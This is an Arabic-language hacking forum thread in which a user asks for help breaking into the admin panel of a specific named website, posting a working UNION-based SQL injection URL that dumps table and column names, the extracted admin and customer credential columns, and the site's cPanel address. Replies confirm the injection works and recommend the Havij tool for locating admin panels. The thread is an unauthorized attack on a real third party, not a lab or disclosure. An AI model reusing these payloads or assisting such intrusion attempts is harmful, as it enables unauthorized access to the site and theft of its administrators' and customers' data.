:: vBspiders Professional Network :: - [مساعده] بخصوص SQL Injection

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/forumdisplay.php?f=343)

- - [مساعده] بخصوص SQL Injection (http://www.vbspiders.com/vb/showthread.php?t=67970)

بخصوص SQL Injection

السلام عليكم و رحمة الله
ممكن مساعدة في دخول لوحة تحكم الموقع التالي فقط لهدف التعلم

رابط استغلال الموقع

كود PHP:

   http://ustrem.net/prod_info.php?id=-12%20UNION%20SELECT%201,2,group_concat%28table_name,0x3a,column_name,0x3a,table_schema%29,4,5+from+information_schema.columns+where+table_name+LIKE+0x61646d696e

لوحة التحكم

كود PHP:

   http://ustrem.net:2082/

معلومات اضافية

كود PHP:

   admin:password:ustrem_ionko
admin:pass:ustrem_ionko
counter:pass:ustrem_ionko
customers:password:ustrem_ionko
emails:pass:ustrem_ion

admin:id:ustrem_ionko
admin:username:ustrem_ionko
admin:password:ustrem_ionko
admin:user:ustrem_ionko
 admin:pass:ustrem_ionk

شكرا على المرور + المساعدة</div>

رد: بخصوص SQL Injection

حقنتك سليمه
رابط اللوحه هاي مش لوحة دخول الادمينات هاي السي بنل وهي اللوحه الام للموقع وبياناتها غير البيانات الي في الحقنه

رد: بخصوص SQL Injection

مشكور اخي عبد الصمد ، ممكن طريقة البحت عن لوحات الادمن ؟ و شكراا

رد: بخصوص SQL Injection

استعمل برنامج الهافج في البحت عن لوحة التحكم